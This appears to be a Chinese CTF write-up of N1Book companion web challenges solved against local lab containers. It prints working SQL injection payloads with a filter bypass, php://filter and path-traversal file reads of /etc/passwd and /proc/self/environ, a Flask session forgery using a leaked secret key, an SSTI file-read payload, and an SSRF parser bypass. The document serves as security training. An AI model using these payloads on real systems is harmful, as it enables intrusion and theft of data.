官方平台网址:https://book.nu1l.com/tasks/
第一章 Web 入门
1.1 信息搜集
1.1.1 常见的搜集
- 先使用目录扫描工具 dirsearch 扫描
127.0.0.1
网站,获得网站目录1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24200 10KB http://127.0.0.1:80/.DS_Store
403 274B http://127.0.0.1:80/.ht_wsr.txt
403 274B http://127.0.0.1:80/.htaccessBAK
403 274B http://127.0.0.1:80/.htaccess.bak1
403 274B http://127.0.0.1:80/.htaccessOLD
403 274B http://127.0.0.1:80/.htaccess.orig
403 274B http://127.0.0.1:80/.htaccess.sample
403 274B http://127.0.0.1:80/.htaccess.save
403 274B http://127.0.0.1:80/.htaccess_extra
403 274B http://127.0.0.1:80/.htaccess_orig
403 274B http://127.0.0.1:80/.htaccess_sc
403 274B http://127.0.0.1:80/.htm
403 274B http://127.0.0.1:80/.html
403 274B http://127.0.0.1:80/.htpasswd_test
403 274B http://127.0.0.1:80/.htpasswds
403 274B http://127.0.0.1:80/.httr-oauth
200 12KB http://127.0.0.1:80/.index.php.swp
403 274B http://127.0.0.1:80/.htaccessOLD2
200 2KB http://127.0.0.1:80/index.php
200 2KB http://127.0.0.1:80/index.php/login/
200 2KB http://127.0.0.1:80/index.php~
200 47B http://127.0.0.1:80/robots.txt
403 274B http://127.0.0.1:80/server-status
403 274B http://127.0.0.1:80/server-status/ - 发现存在可疑文件:
1
2
3robots.txt # 常规文件,记录一些目录和 CMS版本信息
index.php~ # gedit 备份文件
.index.php.swp # vim 备份文件 - 根据书中方法一一查验可得 flag
- 通过 url(http://127.0.0.1/robots.txt) 直接访问 robots.txt,,获得 flag: /flag1_is_her3_fun.txt
- 通过 url(http://127.0.0.1/index.php
) 直接访问 index.php,获得 flag:flag2:s_v3ry_im - 通过 url(http://127.0.0.1/.index.php.swp) 直接访问 .index.php.swp, .index.php.swp 会下载到本地
- 先创建一个 index.php 文件,与 index.php.swp 同目录。命令:
touch index.php
- 使用
vim -r index.php
命令恢复文件的内容。 - 使用
:x
保存并退出 vim 编辑 - 使用命令
cat index.php | grep flag
,查看 flag。命令回显:
- 先创建一个 index.php 文件,与 index.php.swp 同目录。命令:
1.1.2 粗心的小李
先使用 目录扫描工具 dirsearch 扫描 127.0.0.1 文件信息,获得下列文件目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39200 5B http://127.0.0.1:80/.git/COMMIT_EDITMSG
403 274B http://127.0.0.1:80/.git/
301 305B http://127.0.0.1:80/.git -> REDIRECTS TO: http://127.0.0.1/.git/
200 23B http://127.0.0.1:80/.git/HEAD
200 73B http://127.0.0.1:80/.git/description
200 137B http://127.0.0.1:80/.git/config
403 274B http://127.0.0.1:80/.git/hooks/
200 240B http://127.0.0.1:80/.git/info/exclude
403 274B http://127.0.0.1:80/.git/info/
200 145B http://127.0.0.1:80/.git/index
200 148B http://127.0.0.1:80/.git/logs/HEAD
403 274B http://127.0.0.1:80/.git/logs/
301 315B http://127.0.0.1:80/.git/logs/refs -> REDIRECTS TO: http://127.0.0.1/.git/logs/refs/
301 321B http://127.0.0.1:80/.git/logs/refs/heads -> REDIRECTS TO: http://127.0.0.1/.git/logs/refs/heads/
200 148B http://127.0.0.1:80/.git/logs/refs/heads/master
403 274B http://127.0.0.1:80/.git/objects/
403 274B http://127.0.0.1:80/.git/refs/
200 41B http://127.0.0.1:80/.git/refs/heads/master
301 316B http://127.0.0.1:80/.git/refs/heads -> REDIRECTS TO: http://127.0.0.1/.git/refs/heads/
301 315B http://127.0.0.1:80/.git/refs/tags -> REDIRECTS TO: http://127.0.0.1/.git/refs/tags/
403 274B http://127.0.0.1:80/.ht_wsr.txt
403 274B http://127.0.0.1:80/.htaccess.bak1
403 274B http://127.0.0.1:80/.htaccess.orig
403 274B http://127.0.0.1:80/.htaccess.save
403 274B http://127.0.0.1:80/.htaccess.sample
403 274B http://127.0.0.1:80/.htaccessBAK
403 274B http://127.0.0.1:80/.htaccessOLD
403 274B http://127.0.0.1:80/.htaccessOLD2
403 274B http://127.0.0.1:80/.htaccess_extra
403 274B http://127.0.0.1:80/.htaccess_orig
403 274B http://127.0.0.1:80/.htaccess_sc
403 274B http://127.0.0.1:80/.htm
403 274B http://127.0.0.1:80/.html
403 274B http://127.0.0.1:80/.htpasswd_test
403 274B http://127.0.0.1:80/.htpasswds
403 274B http://127.0.0.1:80/.httr-oauth
200 2KB http://127.0.0.1:80/index.html
403 274B http://127.0.0.1:80/server-status/
403 274B http://127.0.0.1:80/server-status发现存在
.git
文件夹,试探访问.git/config
,返回了下列内容,说明存在 git 泄露。1
2
3
4
5
6
7[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true使用 scrabble 工具,成功获到源码,拿到 flag。
重新初始化已存在的 Git 仓库于 /home/chang/compose/ctf/tools/scrabble/.git/
parseCommit 213b7e386e9b0b406d91fae58bf8be11a58c3f88
downloadBlob 213b7e386e9b0b406d91fae58bf8be11a58c3f88
parseTree f46fbac4149604ca13a765950f9a2d1fd8c1c7ad
downloadBlob f46fbac4149604ca13a765950f9a2d1fd8c1c7ad
downloadBlob 1e0db5d96b5cc9785055c14bbec0e7ad14f48151
HEAD 现在位于 213b7e3 flag
1.2 SQL注入
1.2.1 SQL注入-1
127.0.0.1/index.php?id=2-1 的结果与 127.0.0.1/index.php?id=2 相同,说明不存在数字型注入。
尝试 127.0.0.1/index.php?id=2-1%27%23,发现页面有显示内容,说明是字符型注入。
- %27:单引号 ‘
- %23:注释 #
尝试 UNION 注入,127.0.0.1/index.php?id=-1%27union%20select%201,2,3%23,发现成功返回数据。说明是 select 1,2,3 形式,并且1不会显示,3是用户输入的数据,2是数据库数据。
尝试获取表明
127.0.0.1/index.php?id=-1%27union%20select%201,group_concat(table_name),1%20from%20information_schema.tables%20where%20table_schema=database()%23
,得到 fl4g,notes 两个表。分别尝试获取列名。
127.0.0.1/index.php?id=-1%27union%20select%201,group_concat(column_name),1%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%23
。在 fl4g 中获得 flag。
1.2.2 SQL注入-2
访问 127.0.0.1,服务器返回 Forbidden,说明入口错误。尝试使用 dirsearch 工具扫描目录,发现 login.php、user.php 状态是200,找到入口。
1
2
3
4200 2KB http://127.0.0.1:80/login.php
403 289B http://127.0.0.1:80/server-status
403 290B http://127.0.0.1:80/server-status/
200 11B http://127.0.0.1:80/user.php访问 http://127.0.0.1:80/login.php ,随机使用账号密码登录,未发现异常。查看源码,发现注释中有提示:
如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦
安装 burp suit 社区版
下载链接:https://portswigger.net/burp/releases/professional-community-2021-2-1
安装命令:sh burpsuite_community_linux_v2021_2_1.sh
配置 burp suit
- 进入 Proxy -> option,选择 add,端口用 8080,选择 Loopback only。
- 进入浏览器的代理设置,http/https 代理均设为 127.0.0.1,端口 8080。(与 burp 内设置的一致)
使用 burp suit 抓包、发包。
进入 Proxy -> intercep 页面。如果浏览器与 burp 设置成功,浏览器发出的包会先到 burp,burp 中可对这个包执行修改、转发、丢弃等等操作。在 intercep 这行一系列对包的操作。
火狐浏览器会自动周期性的发包,可先在火狐浏览器核心设置中取消这周期性的发包,具体发的包可以 burp 中 Proxy菜单下的 HTTP history 页面中看到。
burp 有时不会捕获 127.0.0.1 的流量。如果要捕获发至本机的包,使用
ifconfig
命令先找到本机的 ip,用本机的 ip 代替 127.0.0.1 访问,成功捕获。我的主机 ip 是 172.19.0.1。burp 捕获访问 http://172.19.0.1/login.php 的包(注意此处需要捕获的是输入账号密码点击登录后产生的包),在 intercep 页面 request 栏右键选择 action:
Send to Repeater(Ctrl + R)
,再进入 Repeater 页面。在 request 中修改请求头。根据提示,先在 post 的 url 中添加 ?tips=1,发送后发现无有效信息。于是修改 name,由原来的 123 改为 123’(登录的用户名),成功返回 SQL 报错信息:
string(154) “You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’123’’’ at line 1”
可能存在报错注入,于是使用 updatexml 函数。继续修改 request 中请求头信息:
name=123'or updatexml(1,concat(0x7e,(select(7,8,9)),0x7e),1)#&pass=123
返回报错内容:string(34) “Operand should contain 1 column(s)”
可能只有1列,尝试
name=123'or updatexml(1,concat(0x7e,(select(7)),0x7e),1)#&pass=123
返回报错内容:
~7~
。确定格式。(0x7e:~ )使用完整 SQL 语句测试:
name=123'or updatexml(1,concat(0x7e,(select(7) from dual ),0x7e),1)#&pass=123
,返回如下 SQL 错误。根据报错信息,说明可能存在关键字的替换,最有可能替换的是 select ,于是使用嵌套 select,即 seselectlect 替换 select,再次成功返回信息~7~
。string(164) “You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘from dual)),1)#’’ at line 1”
通过获取表名,列名成功获得 flag。
1
2
3name=test'and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) from information_schema.tables where table_schema=database()) ,0x7e),1)#&pass=xxxx
string(34) "XPATH syntax error: '~fl4g,users~'"1
2
3name=test'and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)#&pass=xxxx
# 返回信息:string(28) "XPATH syntax error: '~flag~'"
1.3 任意文件读取漏洞
1.3.1 afr_1
访问本机 ip(172.19.0.1) 进入环境,发现重定向至了 ?p=hello,联想书中”病者多诡(HCTF 2016)”,很有可能类似,猜测存在 include 函数,p 可能是 page。
使用 wappalyzer 插件获得网站的 Banner 信息,确定是 php。
使用 dirsearch 进行目录扫描,发现存在 index.php,且重定向至 ?p=hello
于是尝试访问
http://172.19.0.1/index.php
,重定向至了http://172.19.0.1/?p=hello
,而访问http://172.19.0.1/?p=index
则是报错。尝试使用 php 的 filter 获取 index.php,
http://172.19.0.1/?p=php://filter/read=convert.Base64-encode/resource=index
,获得数据PD9waHAKCmlmKGlzc2V0KCRfR0VUWydwJ10pKSB7CiAgICBpbmNsdWRlIChzdHJpbmcpJF9HRVRbJ3AnXSAuICIucGhwIjsKfQplbHNlewogICAgaGVhZGVyKCdMb2NhdGlvbjogLz9wPWhlbGxvJyk7Cn0=
,Base64 解码后得1
2
3
4
5
6
7<?php
if(isset($_GET['p'])) {
include (string)$_GET['p'] . ".php";
}
else{
header('Location: /?p=hello');
}清楚了逻辑,直接尝试
flag.php
,即http://172.19.0.1/?p=php://filter/read=convert.Base64-encode/resource=flag
,获得数据PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
,解码得1
2
3<?php
die('no no no');
//n1book{afr_1_solved}明显注释中可能表示 flag,查看官方 write up:
http://172.19.0.1/?p=php://filter/convert.base64-encode/resource=flag
,确定无错。php://协议 Filter解读:
?p=php://filter/read=convert.Base64-encode/resource=flag
- 这是 p 关键字得 get 传递,即p=****
- php://是一种协议名称,php://filter/ 是一种访问本地文件的协议
- read=convert.Base64-encode 表示文件流编码成 Base64 的形式,这样读取的内容就不会存在 PHP 标签
- /resource=flag 表示目标文件是 flag.php
1.3.2 afr_2
访问环境,使用 wappalyzer 插件获得网站的 Banner 信息,发现服务器使用的 Nginx
使用 dirsearch 进行目录扫描,发现
/img
目录可以直接访问1
2301 194B http://172.19.0.1:80/img -> REDIRECTS TO: http://172.19.0.1/img/
200 99B http://172.19.0.1:80/index.html想起 Nginx 错误配置造成的目录穿越漏洞,使用访问路径
/img../
,获得 flag。
1.3.3 afr_3
- 【知识点】:
- 任意文件读取
- flask SSTI 模板注入
- session 伪造
172.19.0.1:5000
访问本题环境,在your name
框键入test
,点提交
。跳转到了
http://172.19.0.1:5000/n1page
,并且页面显示:Hello : test, why you don't look at our article?
,点击article
跳转到了http://172.19.0.1:5000/article?name=article
注意到 url 中有参数 name=article,尝试随意赋值 name,页面回显:
[Errno 2] No such file or directory: '/home/nu11111111l/articles/article1'
,获得路径信息,并且极有可能是 linux 服务器,其实在 wappalyzer 中有检测出是 ubuntu尝试文件读取漏洞中常见的读取路径。先尝试
/etc/passwd
,这个目录保存用户信息及其工作目录的文件,一般呗用作 linux 系统下文件读取漏洞存在性判断的基准。访问http://172.19.0.1:5000/article?name=/../../../etc/passwd
,成功回显passwd
文件信息。研究了下 linux 的 passwd,没发现特殊的信息,继续尝试其他路径。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin尝试
/proc/self/cmdline
,,即http://172.19.0.1:5000/article?name=/../../../proc/self/cmdline
,获得回显信息:pythonserver.py
,获得题目是 python 的服务器。尝试在
environ
查看环境变量,即http://172.19.0.1:5000/article?name=/../../../proc/self/environ
,获得环境变量,得知server.py
在/home/sssssserver
路径下。HOSTNAME=c0b8f0d6cb78HOME=/rootPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/home/sssssserver
直接访问
server.py
,即http://172.19.0.1:5000/article?name=/../../../home/sssssserver/server.py
,成功回显server.py
源码。(server.py 可以通过/proc/self/cwd
进入当前应用所在目录直接获得,即http://172.19.0.1:5000/article?name=/../../../proc/self/cwd/server.py
)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session
app = Flask(__name__)
# execfile() 函数可以用来执行一个文件。
execfile('flag.py')
execfile('key.py')
FLAG = flag
# 在flask项目中,Session, Cookies以及一些第三方扩展都会用到SECRET_KEY值,这是一个比较重要的配置值。
app.secret_key = key
# 访问 host/n1page 时会进入此方法
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
# 过滤
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''
<h1>N1 Page</h1> <div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])
def index():
return render_template("main.html")
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag') >= 0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)在 pycharm 中搭建环境,通过阅读源码知目录下有
flag.py
,直接访问发现没有权限。继续阅读源码,发现n1page
方法中存在模板注入,但是存在过滤1
2if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")不过在接下来的对 session[
n1code
] 仅仅是简单判定是否为空,可以利用 falsk 的 session 伪造实现注入。1
2
3
4
5
6if session['n1code'] is not None:
template = '''
<h1>N1 Page</h1> <div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div> </div> ''' % session['n1code']首先通过代码的逻辑,程序进入
n1page
方法,也就是访问host/n1page
的时候,所以应该是抓访问http://172.19.0.1:5000/n1page
的包。获取这个包的 session,然后使用解码函数解密,确定 session 字符串形式
{'n1code': None}
,需要构造 payload 去替换 none。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
# 由于我是在 pycharm 运行,为了方便直接将 session 赋值给 payload
payload = "eyJuMWNvZGUiOm51bGx9.YFVHSw.M_DdKDNd7WMbknyVKSDJ9Y25Z7Q"
print(decryption(payload.encode()))
# print(decryption(sys.argv[1].encode())){‘n1code’: None}
flask的 session 伪造需要一个密钥。接下来需要获得
SECRET_KEY
。在 server.py 源码中有执行 key.py 文件的操作,即execfile('key.py')
,所以尝试直接访问key.py
,成功获得内容:#!/usr/bin/python key = ‘Drmhze6EPcv0fN_81Bj-nA’接下来是构造 payload。使用知识点中列的博文里的 payload 很多都失败了,我最终成功的形式:
{{[].__class__.__mro__[1].__subclasses__()[40](\'flag.py\').read()}}'}"
,使用flask-session-cookie-manager
完整的命令形式:python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code' : '{{[].__class__.__mro__[1].__subclasses__()[40](\'flag.py\').read()}}'}"
- flask-session-cookie-manager:Flask Session Cookie Decoder/Encoder,可以用来对 flask session cookie 编码/解码,实际上第10步也可以用这个来解码
Drmhze6EPcv0fN_81Bj-nA
,从 key.py 中获得的密钥- 整个流程:1. 先对原始 session 解码获得 session 的形式 2. 获取
SECRET_KEY
3. 构造 payload 4. 按照解码获得 session 的形式构造 session,再通过flask-session-cookie-manager
使用 key 加密编码。
- 将
flask-session-cookie-manager
获得的编码放到请求包的 session 中,再向服务器发送该包,成功获得 flag.py
第二章 Web 进阶
2.1 SSRF漏洞
进入环境,点击 intersting challenge,代码审计。更详细的代码审计可以看这篇博客
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
highlight_file(__FILE__); # 高亮显示当前文件
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
// ^ 匹配行的开始
// (xyz) 字符组,按照确切的顺序匹配字符 xyz
// | 分支结构,匹配符号之前的字符或后面的字符
// ? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符
// \ 转义符,它可以还原元字符原来的含义,允许你匹配保留字符 [ ] ( ) { } . * + ? ^ $ \ |
// . 匹配除换行符以外的任意字符
// * 匹配前面的子表达式零次或多次
// $ 匹配行的结束
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
// 分解出一个URL的各个部分,返回数组。这是 php 的方法,各种语言对 URL 各部分解析规则会各不一样
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init(); # 初始化
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch); # //抓取URL并把它传递给浏览器,实际上由于解析规则,获得的域名与 php parse_url 方法获得的不一样
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}URL 都要经过 check_inner_ip 函数检测,但 php_url_parse 和 curl 对 url 的解析是不同的,强烈看看这篇文章 【Blackhat】SSRF的新纪元:在编程语言中利用URL解析器
直接构造
?url=http://a@127.0.0.1:80@baidu.com/flag.php
后续还有 MySQL、Redies,我是跟着这个博客做的 《从0到1:CTFer成长之路》 配套题目Web WP
- 查看已经运行的docker镜像
sudo docker ps -a
- 连接到mysql镜像中
sudo docker exec -it 2-web-ssrf_mysql_1 bash
,2-web-ssrf_mysql_1 在上一步查看镜像时 NAMES 的内容。怎么访问docker内的MySQL
- 将 docker 容器中的文件传递到主机:
sudo docker cp 2-web-ssrf_mysql_1:/pcap/mysql.pcap /home/chang/
- 查看已经运行的docker镜像
2.2 命令执行漏洞
这道题主要是看博文,弄懂 linux文件描述符 和 反弹shell原理再看 writeup 基本上没什么难度了。